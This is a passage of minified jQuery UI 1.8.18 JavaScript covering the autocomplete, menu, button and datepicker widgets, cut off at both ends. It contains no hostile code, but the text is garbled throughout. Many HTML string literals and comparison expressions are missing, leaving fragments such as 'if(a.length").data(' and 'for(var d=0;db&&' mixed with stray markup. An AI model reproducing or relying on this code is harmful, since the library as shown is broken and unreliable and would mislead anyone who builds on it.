this.options.source=="string"?(e=this.options.source,this.source=function(d,f){b.xhr&&b.xhr.abort(),b.xhr=a.ajax({url:e,data:d,dataType:"json",context:{autocompleteRequest:++c},success:function(a,b){this.autocompleteRequest===c&&f(a)},error:function(){this.autocompleteRequest===c&&f([])}})}):this.source=this.options.source},search:function(a,b){a=a!=null?a:this.element.val(),this.term=this.element.val();if(a.length").data("item.autocomplete",c).append(a("").text(c.label)).appendTo(b)},_move:function(a,b){if(!this.menu.element.is(":visible"))this.search(null,b);else{if(this.menu.first()&&/^previous/.test(a)||this.menu.last()&&/^next/.test(a)){this.element.val(this.term),this.menu.deactivate();return}this.menu[a](b)}},widget:function(){return this.menu.element}}),a.extend(a.ui.autocomplete,{escapeRegex:function(a){return a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")},filter:function(b,c){var d=new RegExp(a.ui.autocomplete.escapeRegex(c),"i");return a.grep(b,function(a){return d.test(a.label||a.value||a)})}})}(jQuery),function(a){a.widget("ui.menu",{_create:function(){var b=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(c){!a(c.target).closest(".ui-menu-item a").length||(c.preventDefault(),b.select(c))}),this.refresh()},refresh:function(){var b=this,c=this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem");c.children("a").addClass("ui-corner-all").attr("tabindex",-1).mouseenter(function(c){b.activate(c,a(this).parent())}).mouseleave(function(){b.deactivate()})},activate:function(a,b){this.deactivate();if(this.hasScroll()){var c=b.offset().top-this.element.offset().top,d=this.element.scrollTop(),e=this.element.height();c<0?this.element.scrollTop(d+c):c>=e&&this.element.scrollTop(d+c-e+b.height())}this.active=b.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end(),this._trigger("focus",a,{item:b})},deactivate:function(){!this.active||(this.active.children("a").removeClass("ui-state-hover").removeAttr("id"),this._trigger("blur"),this.active=null)},next:function(a){this.move("next",".ui-menu-item:first",a)},previous:function(a){this.move("prev",".ui-menu-item:last",a)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(a,b,c){if(!this.active)this.activate(c,this.element.children(b));else{var d=this.active[a+"All"](".ui-menu-item").eq(0);d.length?this.activate(c,d):this.activate(c,this.element.children(b))}},nextPage:function(b){if(this.hasScroll()){if(!this.active||this.last()){this.activate(b,this.element.children(".ui-menu-item:first"));return}var c=this.active.offset().top,d=this.element.height(),e=this.element.children(".ui-menu-item").filter(function(){var b=a(this).offset().top-c-d+a(this).height();return b<10&&b>-10});e.length||(e=this.element.children(".ui-menu-item:last")),this.activate(b,e)}else this.activate(b,this.element.children(".ui-menu-item").filter(!this.active||this.last()?":first":":last"))},previousPage:function(b){if(this.hasScroll()){if(!this.active||this.first()){this.activate(b,this.element.children(".ui-menu-item:last"));return}var c=this.active.offset().top,d=this.element.height();result=this.element.children(".ui-menu-item").filter(function(){var b=a(this).offset().top-c+d-a(this).height();return b<10&&b>-10}),result.length||(result=this.element.children(".ui-menu-item:first")),this.activate(b,result)}else this.activate(b,this.element.children(".ui-menu-item").filter(!this.active||this.first()?":last":":first"))},hasScroll:function(){return this.element.height()",this.element[0].ownerDocument).addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),d=this.options.icons,e=d.primary&&d.secondary,f=[];d.primary||d.secondary?(this.options.text&&f.push("ui-button-text-icon"+(e?"s":d.primary?"-primary":"-secondary")),d.primary&&b.prepend(""),d.secondary&&b.append(""),this.options.text||(f.push(e?"ui-button-icons-only":"ui-button-icon-only"),this.hasTitle||b.attr("title",c))):f.push("ui-button-text-only"),b.addClass(f.join(" "))}}}),a.widget("ui.buttonset",{options:{items:":button, :submit, :reset, :checkbox, :radio, a, :data(button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(b,c){b==="disabled"&&this.buttons.button("option",b,c),a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){var b=this.element.css("direction")==="rtl";this.buttons=this.element.find(this.options.items).filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(b?"ui-corner-right":"ui-corner-left").end().filter(":last").addClass(b?"ui-corner-left":"ui-corner-right").end().end()},destroy:function(){this.element.removeClass("ui-buttonset"),this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy"),a.Widget.prototype.destroy.call(this)}})}(jQuery),function($,undefined){function isArray(a){return a&&($.browser.safari&&typeof a=="object"&&a.length||a.constructor&&a.constructor.toString().match(/\Array\(\)/))}function extendRemove(a,b){$.extend(a,b);for(var c in b)if(b[c]==null||b[c]==undefined)a[c]=b[c];return a}function bindHover(a){var b="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return a.bind("mouseout",function(a){var c=$(a.target).closest(b);!c.length||c.removeClass("ui-state-hover ui-datepicker-prev-hover ui-datepicker-next-hover")}).bind("mouseover",function(c){var d=$(c.target).closest(b);!$.datepicker._isDisabledDatepicker(instActive.inline?a.parent()[0]:instActive.input[0])&&!!d.length&&(d.parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),d.addClass("ui-state-hover"),d.hasClass("ui-datepicker-prev")&&d.addClass("ui-datepicker-prev-hover"),d.hasClass("ui-datepicker-next")&&d.addClass("ui-datepicker-next-hover"))})}function Datepicker(){this.debug=!1,this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},$.extend(this._defaults,this.regional[""]),this.dpDiv=bindHover($('
    '))}$.extend($.ui,{datepicker:{version:"1.8.18"}});var PROP_NAME="datepicker",dpuuid=(new Date).getTime(),instActive;$.extend(Datepicker.prototype,{markerClassName:"hasDatepicker",maxRows:4,log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(a){extendRemove(this._defaults,a||{});return this},_attachDatepicker:function(target,settings){var inlineSettings=null;for(var attrName in this._defaults){var attrValue=target.getAttribute("date:"+attrName);if(attrValue){inlineSettings=inlineSettings||{};try{inlineSettings[attrName]=eval(attrValue)}catch(err){inlineSettings[attrName]=attrValue} }}var nodeName=target.nodeName.toLowerCase(),inline=nodeName=="div"||nodeName=="span";target.id||(this.uuid+=1,target.id="dp"+this.uuid);var inst=this._newInst($(target),inline);inst.settings=$.extend({},settings||{},inlineSettings||{}),nodeName=="input"?this._connectDatepicker(target,inst):inline&&this._inlineDatepicker(target,inst)},_newInst:function(a,b){var c=a[0].id.replace(/([^A-Za-z0-9_-])/g,"\\\\$1");return{id:c,input:a,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:b,dpDiv:b?bindHover($('
    ')):this.dpDiv}},_connectDatepicker:function(a,b){var c=$(a);b.append=$([]),b.trigger=$([]);c.hasClass(this.markerClassName)||(this._attachments(c,b),c.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(a,c,d){b.settings[c]=d}).bind("getData.datepicker",function(a,c){return this._get(b,c)}),this._autoSize(b),$.data(a,PROP_NAME,b),b.settings.disabled&&this._disableDatepicker(a))},_attachments:function(a,b){var c=this._get(b,"appendText"),d=this._get(b,"isRTL");b.append&&b.append.remove(),c&&(b.append=$(''+c+""),a[d?"before":"after"](b.append)),a.unbind("focus",this._showDatepicker),b.trigger&&b.trigger.remove();var e=this._get(b,"showOn");(e=="focus"||e=="both")&&a.focus(this._showDatepicker);if(e=="button"||e=="both"){var f=this._get(b,"buttonText"),g=this._get(b,"buttonImage");b.trigger=$(this._get(b,"buttonImageOnly")?$("").addClass(this._triggerClass).attr({src:g,alt:f,title:f}):$('').addClass(this._triggerClass).html(g==""?f:$("").attr({src:g,alt:f,title:f}))),a[d?"before":"after"](b.trigger),b.trigger.click(function(){$.datepicker._datepickerShowing&&$.datepicker._lastInput==a[0]?$.datepicker._hideDatepicker():$.datepicker._datepickerShowing&&$.datepicker._lastInput!=a[0]?($.datepicker._hideDatepicker(),$.datepicker._showDatepicker(a[0])):$.datepicker._showDatepicker(a[0]);return!1})}},_autoSize:function(a){if(this._get(a,"autoSize")&&!a.inline){var b=new Date(2009,11,20),c=this._get(a,"dateFormat");if(c.match(/[DM]/)){var d=function(a){var b=0,c=0;for(var d=0;db&&(b=a[d].length,c=d);return c};b.setMonth(d(this._get(a,c.match(/MM/)?"monthNames":"monthNamesShort"))),b.setDate(d(this._get(a,c.match(/DD/)?"dayNames":"dayNamesShort"))+20-b.getDay())}a.input.attr("size",this._formatDate(a,b).length)}},_inlineDatepicker:function(a,b){var c=$(a);c.hasClass(this.markerClassName)||(c.addClass(this.markerClassName).append(b.dpDiv).bind("setData.datepicker",function(a,c,d){b.settings[c]=d}).bind("getData.datepicker",function(a,c){return this._get(b,c)}),$.data(a,PROP_NAME,b),this._setDate(b,this._getDefaultDate(b),!0),this._updateDatepicker(b),this._updateAlternate(b),b.settings.disabled&&this._disableDatepicker(a),b.dpDiv.css("display","block"))},_dialogDatepicker:function(a,b,c,d,e){var f=this._dialogInst;if(!f){this.uuid+=1;var g="dp"+this.uuid;this._dialogInput=$(''),this._dialogInput.keydown(this._doKeyDown),$("body").append(this._dialogInput),f=this._dialogInst=this._newInst(this._dialogInput,!1),f.settings={},$.data(this._dialogInput[0],PROP_NAME,f)}extendRemove(f.settings,d||{}),b=b&&b.constructor==Date?this._formatDate(f,b):b,this._dialogInput.val(b),this._pos=e?e.length?e:[e.pageX,e.pageY]:null;if(!this._pos){var h=document.documentElement.clientWidth,i=document.documentElement.clientHeight,j=document.documentElement.scrollLeft||document.body.scrollLeft,k=document.documentElement.scrollTop||document.body.scrollTop;this._pos=[h/2-100+j,i/2-150+k]}this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),f.settings.onSelect=c,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),$.blockUI&&$.blockUI(this.dpDiv),$.data(this._dialogInput[0],PROP_NAME,f);return this},_destroyDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();$.removeData(a,PROP_NAME),d=="input"?(c.append.remove(),c.trigger.remove(),b.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)):(d=="div"||d=="span")&&b.removeClass(this.markerClassName).empty()}},_enableDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();if(d=="input")a.disabled=!1,c.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""});else if(d=="div"||d=="span"){var e=b.children("."+this._inlineClass);e.children().removeClass("ui-state-disabled"),e.find("select.ui-datepicker-month, select.ui-datepicker-year").removeAttr("disabled")}this._disabledInputs=$.map(this._disabledInputs,function(b){return b==a?null:b})}},_disableDatepicker:function(a){var b=$(a),c=$.data(a,PROP_NAME);if(!!b.hasClass(this.markerClassName)){var d=a.nodeName.toLowerCase();if(d=="input")a.disabled=!0,c.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"});else if(d=="div"||d=="span"){var e=b.children("."+this._inlineClass);e.children().addClass("ui-state-disabled"),e.find("select.ui-datepicker-month, select.ui-datepicker-year").attr("disabled","disabled")}this._disabledInputs=$.map(this._disabledInputs,function(b){return b==a?null:b}),this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return!1;for(var b=0;b-1}},_doKeyUp:function(a){var b=$.datepicker._getInst(a.target);if(b.input.val()!=b.lastVal)try{var c=$.datepicker.parseDate($.datepicker._get(b,"dateFormat"),b.input?b.input.val():null,$.datepicker._getFormatConfig(b));c&&($.datepicker._setDateFromField(b),$.datepicker._updateAlternate(b),$.datepicker._updateDatepicker(b))}catch(a){$.datepicker.log(a)}return!0},_showDatepicker:function(a){a=a.target||a,a.nodeName.toLowerCase()!="input"&&(a=$("input",a.parentNode)[0]);if(!$.datepicker._isDisabledDatepicker(a)&&$.datepicker._lastInput!=a){var b=$.datepicker._getInst(a);$.datepicker._curInst&&$.datepicker._curInst!=b&&($.datepicker._curInst.dpDiv.stop(!0,!0),b&&$.datepicker._datepickerShowing&&$.datepicker._hideDatepicker($.datepicker._curInst.input[0]));var c=$.datepicker._get(b,"beforeShow"),d=c?c.apply(a,[a,b]):{};if(d===!1)return;extendRemove(b.settings,d),b.lastVal=null,$.datepicker._lastInput=a,$.datepicker._setDateFromField(b),$.datepicker._inDialog&&(a.value=""),$.datepicker._pos||($.datepicker._pos=$.datepicker._findPos(a),$.datepicker._pos[1]+=a.offsetHeight);var e=!1;$(a).parents().each(function(){e|=$(this).css("position")=="fixed";return!e}),e&&$.browser.opera&&($.datepicker._pos[0]-=document.documentElement.scrollLeft,$.datepicker._pos[1]-=document.documentElement.scrollTop);var f={left:$.datepicker._pos[0],top:$.datepicker._pos[1]};$.datepicker._pos=null,b.dpDiv.empty(),b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),$.datepicker._updateDatepicker(b),f=$.datepicker._checkOffset(b,f,e),b.dpDiv.css({position:$.datepicker._inDialog&&$.blockUI?"static":e?"fixed":"absolute",display:"none",left:f.left+"px",top:f.top+"px"});if(!b.inline){var g=$.datepicker._get(b,"showAnim"),h=$.datepicker._get(b,"duration"),i=function(){var a=b.dpDiv.find("iframe.ui-datepicker-cover");if(!!a.length){var c=$.datepicker._getBorders(b.dpDiv);a.css({left:-c[0],top:-c[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})}};b.dpDiv.zIndex($(a).zIndex()+1),$.datepicker._datepickerShowing=!0,$.effects&&$.effects[g]?b.dpDiv.show(g,$.datepicker._get(b,"showOptions"),h,i):b.dpDiv[g||"show"](g?h:null,i),(!g||!h)&&i(),b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus(),$.datepicker._curInst=b}}},_updateDatepicker:function(a){var b=this;b.maxRows=4;var c=$.datepicker._getBorders(a.dpDiv);instActive=a,a.dpDiv.empty().append(this._generateHTML(a));var d=a.dpDiv.find("iframe.ui-datepicker-cover");!d.length||d.css({left:-c[0],top:-c[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()}),a.dpDiv.find("."+this._dayOverClass+" a").mouseover();var e=this._getNumberOfMonths(a),f=e[1],g=17;a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),f>1&&a.dpDiv.addClass("ui-datepicker-multi-"+f).css("width",g*f+"em"),a.dpDiv[(e[0]!=1||e[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi"),a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),a==$.datepicker._curInst&&$.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input[0]!=document.activeElement&&a.input.focus();if(a.yearshtml){var h=a.yearshtml;setTimeout(function(){h===a.yearshtml&&a.yearshtml&&a.dpDiv.find("select.ui-datepicker-year:first").replaceWith(a.yearshtml),h=a.yearshtml=null},0)}},_getBorders:function(a){var b=function(a){return{thin:1,medium:2,thick:3}[a]||a};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var d=a.dpDiv.outerWidth(),e=a.dpDiv.outerHeight(),f=a.input?a.input.outerWidth():0,g=a.input?a.input.outerHeight():0,h=document.documentElement.clientWidth+$(document).scrollLeft(),i=document.documentElement.clientHeight+$(document).scrollTop();b.left-=this._get(a,"isRTL")?d-f:0,b.left-=c&&b.left==a.input.offset().left?$(document).scrollLeft():0,b.top-=c&&b.top==a.input.offset().top+g?$(document).scrollTop():0,b.left-=Math.min(b.left,b.left+d>h&&h>d?Math.abs(b.left+d-h):0),b.top-=Math.min(b.top,b.top+e>i&&i>e?Math.abs(e+g):0);return b},_findPos:function(a){var b=this._getInst(a),c=this._get(b,"isRTL");while(a&&(a.type=="hidden"||a.nodeType!=1||$.expr.filters.hidden(a)))a=a[c?"previousSibling":"nextSibling"];var d=$(a).offset();return[d.left,d.top]},_hideDatepicker:function(a){var b=this._curInst;if(!(!b||a&&b!=$.data(a,PROP_NAME))&&this._datepickerShowing){var c=this._get(b,"showAnim"),d=this._get(b,"duration"),e=this,f=function(){$.datepicker._tidyDialog(b),e._curInst=null};$.effects&&$.effects[c]?b.dpDiv.hide(c,$.datepicker._get(b,"showOptions"),d,f):b.dpDiv[c=="slideDown"?"slideUp":c=="fadeIn"?"fadeOut":"hide"](c?d:null,f),c||f(),this._datepickerShowing=!1;var g=this._get(b,"onClose");g&&g.apply(b.input?b.input[0]:null,[b.input?b.input.val():"",b]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),$.blockUI&&($.unblockUI(),$("body").append(this.dpDiv))),this._inDialog=!1}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(!!$.datepicker._curInst){var b=$(a.target),c=$.datepicker._getInst(b[0]);(b[0].id!=$.datepicker._mainDivId&&b.parents("#"+$.datepicker._mainDivId).length==0&&!b.hasClass($.datepicker.markerClassName)&&!b.closest("."+$.datepicker._triggerClass).length&&$.datepicker._datepickerShowing&&(!$.datepicker._inDialog||!$.blockUI)||b.hasClass($.datepicker.markerClassName)&&$.datepicker._curInst!=c)&&$.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){var d=$(a),e=this._getInst(d[0]);this._isDisabledDatepicker(d[0])||(this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c),this._updateDatepicker(e))},_gotoToday:function(a){var b=$(a),c=this._getInst(b[0]);if(this._get(c,"gotoCurrent")&&c.currentDay)c.selectedDay=c.currentDay,c.drawMonth=c.selectedMonth=c.currentMonth,c.drawYear=c.selectedYear=c.currentYear;else{var d=new Date;c.selectedDay=d.getDate(),c.drawMonth=c.selectedMonth=d.getMonth(),c.drawYear=c.selectedYear=d.getFullYear()}this._notifyChange(c),this._adjustDate(b)},_selectMonthYear:function(a,b,c){var d=$(a),e=this._getInst(d[0]);e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10),this._notifyChange(e),this._adjustDate(d)},_selectDay:function(a,b,c,d){var e=$(a);if(!$(d).hasClass(this._unselectableClass)&&!this._isDisabledDatepicker(e[0])){var f=this._getInst(e[0]);f.selectedDay=f.currentDay=$("a",d).html(),f.selectedMonth=f.currentMonth=b,f.selectedYear=f.currentYear=c,this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){var b=$(a),c=this._getInst(b[0]);this._selectDate(b,"")},_selectDate:function(a,b){var c=$(a),d=this._getInst(c[0]);b=b!=null?b:this._formatDate(d),d.input&&d.input.val(b),this._updateAlternate(d);var e=this._get(d,"onSelect");e?e.apply(d.input?d.input[0]:null,[b,d]):d.input&&d.input.trigger("change"),d.inline?this._updateDatepicker(d):(this._hideDatepicker(),this._lastInput=d.input[0],typeof d.input[0]!="object"&&d.input.focus(),this._lastInput=null)},_updateAlternate:function(a){var b=this._get(a,"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),d=this._getDate(a),e=this.formatDate(c,d,this._getFormatConfig(a));$(b).each(function(){$(this).val(e)})}},noWeekends:function(a){var b=a.getDay();return[b>0&&b<6,""]},iso8601Week:function(a){var b=new Date(a.getTime());b.setDate(b.getDate()+4-(b.getDay()||7));var c=b.getTime();b.setMonth(0),b.setDate(1);return Math.floor(Math.round((c-b)/864e5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b=="object"?b.toString():b+"";if(b=="")return null;var d=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff;d=typeof d!="string"?d:(new Date).getFullYear()%100+parseInt(d,10);var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,g=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,h=(c?c.monthNames:null)||this._defaults.monthNames,i=-1,j=-1,k=-1,l=-1,m=!1,n=function(b){var c=s+1-1){j=1,k=l;for(;;){var u=this._getDaysInMonth(i,j-1);if(k<=u)break;j++,k-=u}}var t=this._daylightSavingAdjust(new Date(i,j-1,k));if(t.getFullYear()!=i||t.getMonth()+1!=j||t.getDate()!=k)throw"Invalid date";return t},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24*60*60*1e7,formatDate:function(a,b,c){if(!b)return"";var d=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,e=(c?c.dayNames:null)||this._defaults.dayNames,f=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,h=function(b){var c=m+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var d=!b,e=a.selectedMonth,f=a.selectedYear,g=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay=a.currentDay=g.getDate(),a.drawMonth=a.selectedMonth=a.currentMonth=g.getMonth(),a.drawYear=a.selectedYear=a.currentYear=g.getFullYear(),(e!=a.selectedMonth||f!=a.selectedYear)&&!c&&this._notifyChange(a),this._adjustInstDate(a),a.input&&a.input.val(d?"":this._formatDate(a))},_getDate:function(a){var b=!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return b},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(),b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),d=this._get(a,"showButtonPanel"),e=this._get(a,"hideIfNoPrevNext"),f=this._get(a,"navigationAsDateFormat"),g=this._getNumberOfMonths(a),h=this._get(a,"showCurrentAtPos"),i=this._get(a,"stepMonths"),j=g[0]!=1||g[1]!=1,k=this._daylightSavingAdjust(a.currentDay?new Date(a.currentYear,a.currentMonth,a.currentDay):new Date(9999,9,9)),l=this._getMinMaxDate(a,"min"),m=this._getMinMaxDate(a,"max"),n=a.drawMonth-h,o=a.drawYear;n<0&&(n+=12,o--);if(m){var p=this._daylightSavingAdjust(new Date(m.getFullYear(),m.getMonth()-g[0]*g[1]+1,m.getDate()));p=l&&pp)n--,n<0&&(n=11,o--)}a.drawMonth=n,a.drawYear=o;var q=this._get(a,"prevText");q=f?this.formatDate(q,this._daylightSavingAdjust(new Date(o,n-i,1)),this._getFormatConfig(a)):q;var r=this._canAdjustMonth(a,-1,o,n)?''+q+"":e?"":''+q+"",s=this._get(a,"nextText");s=f?this.formatDate(s,this._daylightSavingAdjust(new Date(o,n+i,1)),this._getFormatConfig(a)):s;var t=this._canAdjustMonth(a,1,o,n)?''+s+"":e?"":''+s+"",u=this._get(a,"currentText"),v=this._get(a,"gotoCurrent")&&a.currentDay?k:b;u=f?this.formatDate(u,v,this._getFormatConfig(a)):u;var w=a.inline?"":'",x=d?'
    '+(c?w:"")+(this._isInRange(a,v)?'":"")+(c?"":w)+"
    ":"",y=parseInt(this._get(a,"firstDay"),10);y=isNaN(y)?0:y;var z=this._get(a,"showWeek"),A=this._get(a,"dayNames"),B=this._get(a,"dayNamesShort"),C=this._get(a,"dayNamesMin"),D=this._get(a,"monthNames"),E=this._get(a,"monthNamesShort"),F=this._get(a,"beforeShowDay"),G=this._get(a,"showOtherMonths"),H=this._get(a,"selectOtherMonths"),I=this._get(a,"calculateWeek")||this.iso8601Week,J=this._getDefaultDate(a),K="";for(var L=0;L1)switch(N){case 0:Q+=" ui-datepicker-group-first",P=" ui-corner-"+(c?"right":"left");break;case g[1]-1:Q+=" ui-datepicker-group-last",P=" ui-corner-"+(c?"left":"right");break;default:Q+=" ui-datepicker-group-middle",P=""}Q+='">'}Q+='
    '+(/all|left/.test(P)&&L==0?c?t:r:"")+(/all|right/.test(P)&&L==0?c?r:t:"")+this._generateMonthYearHeader(a,n,o,l,m,L>0||N>0,D,E)+'
    '+"";var R=z?'":"";for(var S=0;S<7;S++){var T=(S+y)%7;R+="=5?' class="ui-datepicker-week-end"':"")+">"+''+C[T]+""}Q+=R+"";var U=this._getDaysInMonth(o,n);o==a.selectedYear&&n==a.selectedMonth&&(a.selectedDay=Math.min(a.selectedDay,U));var V=(this._getFirstDayOfMonth(o,n)-y+7)%7,W=Math.ceil((V+U)/7),X=j?this.maxRows>W?this.maxRows:W:W;this.maxRows=X;var Y=this._daylightSavingAdjust(new Date(o,n,1-V));for(var Z=0;Z";var _=z?'":"";for(var S=0;S<7;S++){var ba=F?F.apply(a.input?a.input[0]:null,[Y]):[!0,""],bb=Y.getMonth()!=n,bc=bb&&!H||!ba[0]||l&&Ym;_+='",Y.setDate(Y.getDate()+1),Y=this._daylightSavingAdjust(Y)}Q+=_+""}n++,n>11&&(n=0,o++),Q+="
    '+this._get(a,"weekHeader")+"
    '+this._get(a,"calculateWeek")(Y)+""+(bb&&!G?" ":bc?''+Y.getDate()+"":''+Y.getDate()+"")+"
    "+(j?""+(g[0]>0&&N==g[1]-1?'
    ':""):""),M+=Q}K+=M}K+=x+($.browser.msie&&parseInt($.browser.version,10)<7&&!a.inline?'':""),a._keyEvent=!1;return K},_generateMonthYearHeader:function(a,b,c,d,e,f,g,h){var i=this._get(a,"changeMonth"),j=this._get(a,"changeYear"),k=this._get(a,"showMonthAfterYear"),l='
    ',m="";if(f||!i)m+=''+g[b]+"";else{var n=d&&d.getFullYear()==c,o=e&&e.getFullYear()==c;m+='"}k||(l+=m+(f||!i||!j?" ":""));if(!a.yearshtml){a.yearshtml="";if(f||!j)l+=''+c+"";else{var q=this._get(a,"yearRange").split(":"),r=(new Date).getFullYear(),s=function(a){var b=a.match(/c[+-].*/)?c+parseInt(a.substring(1),10):a.match(/[+-].*/)?r+parseInt(a,10):parseInt(a,10);return isNaN(b)?r:b},t=s(q[0]),u=Math.max(t,s(q[1]||""));t=d?Math.max(t,d.getFullYear()):t,u=e?Math.min(u,e.getFullYear()):u,a.yearshtml+='",l+=a.yearshtml,a.yearshtml=null}}l+=this._get(a,"yearSuffix"),k&&(l+=(f||!i||!j?" ":"")+m),l+="
    ";return l},_adjustInstDate:function(a,b,c){var d=a.drawYear+(c=="Y"?b:0),e=a.drawMonth+(c=="M"?b:0),f=Math.min(a.selectedDay,this._getDaysInMonth(d,e))+(c=="D"?b:0),g=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(d,e,f)));a.selectedDay=g.getDate(),a.drawMonth=a.selectedMonth=g.getMonth(),a.drawYear=a.selectedYear=g.getFullYear(),(c=="M"||c=="Y")&&this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min"),d=this._getMinMaxDate(a,"max"),e=c&&bd?d:e;return e},_notifyChange:function(a){var b=this._get(a,"onChangeMonthYear");b&&b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){var b=this._get(a,"numberOfMonths");return b==null?[1,1]:typeof b=="number"?[1,b]:b},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 